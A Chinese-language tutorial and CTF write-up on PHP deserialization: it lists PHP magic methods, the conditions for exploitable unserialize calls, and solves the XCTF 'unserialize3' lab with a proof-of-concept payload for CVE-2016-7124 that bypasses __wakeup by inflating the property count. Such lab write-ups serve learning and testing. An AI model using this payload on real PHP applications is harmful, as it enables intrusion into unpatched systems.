目录
魔术函数
发生条件
靶场练习
魔术函数
__constuct
: 构建对象的时被调用
__destruct
: 明确销毁对象或脚本结束时被调用
__invoke
: 当以函数方式调用对象时被调用
__toString
: 当一个类被转换成字符串时被调用
__wakeup
: 当使用unserialize时被调用,可用于做些对象的初始化操作
__sleep
: 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__callStatic
: 调用不可访问或不存在的静态方法时被调用
__set
: 当给不可访问或不存在属性赋值时被调用
__get
: 读取不可访问或不存在属性时被调用
__call
: 调用不可访问或不存在的方法时被调用
__isset
: 对不可访问或不存在的属性调用isset()或empty()时被调用
__unset
: 对不可访问或不存在的属性进行unset时被调用
__clone
: 进行对象clone时被调用,用来调整对象的克隆行为
发生条件
1 、 unserialize 函数的参数可控2 、脚本中定义了有 Magic 方法,方法里面有向php文件做读写数据或者执行命令的操作3 、读写的内容需要有对象中的成员变量的值
靶场练习
题目来源:攻防世界-unserialize3
漏洞编号:CVE-2016-7124
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
POC如下:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";},修改为O:4:"xctf":2:{s:4:"flag";s:3:"111";}
拿到flag